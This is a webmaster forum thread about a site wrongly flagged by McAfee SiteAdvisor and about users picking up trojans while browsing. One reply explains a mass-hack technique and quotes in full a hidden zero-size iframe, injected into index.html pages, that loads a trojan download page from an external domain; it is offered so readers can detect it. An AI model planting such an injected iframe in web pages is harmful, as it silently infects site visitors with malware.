Someone contacted us today, telling us that we are flagged with red with the McAffee Site Advisor. Their result there was: "When we tested this site we found links to webaim.org, which we found to be a distributor of downloads some people consider adware, spyware or other unwanted programs."Unfortunately we deleted site wide all links of them, even if they were highly valuable OBLs. Later we looked further into this issue, and we came up with this post of Matt Cutts: http://www.mattcutts.com/blog/siteadvisor-study/What do you think about all this? I would also be very thankful if you would add your comments about our site there. I think, they just SUCK! Thanks |

Interesting
I think what defines a potentially "bad neighborhood" just got expanded.
I didn't look specifically into what was it about the site that was at issue.
Were the downloads adware?

I collected two more trojan's in the last 24 hours (among other lesser items)
It is getting hard to go a day without collecting a few. I have no Idea where they are coming from, they just arrive!

It might be that the software you have now has not gotten rid of first trojan and it keeps coming back. What sites have you gone to the last time you got rid of those trogans? |

Just the usual round of wpw and tip, and wherever my clicking finger tempts me.
I seem to collect different ones. No trogans for a few days now. just little niggly little 'plants' from websites.

It was from a site I was putting my site into a directory. Submitting it. Some people add a little something to there sites for those of use that go there. Seems harmless at first. Might do a whole system sweep and see if anything comes up. I run about 5 virus type of programs on my system. Not at the same time. When something happens to me I run the whole mill of programs I have and see what comes up. Not all will caught those virus. |

Could be hacked servers. I know of a widespread case where the hacker adds an invisible iFrame to all index.html, in which he loads a download page with a trojan. Look for code like <iframe width=0 height=0 frameborder=0 src='http://www.o00o.info/portal/index.php?aff=manph' marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe> or similar. Note that this code, inserted in a page, will not be visible to the visitor. Works in framesets, too. Several CMS/Blog software were affected, and cPanel too: http://news.netcraft.com/archives/2006/09/23/hostgator_cpanel_security_hole_exploited_in_mass_hack.htmlCheers, faglork |

I forgot to mention that we have contacted McAffee a while ago, and since yesterday the issue is fixed!  I thought you would like to know that here. |
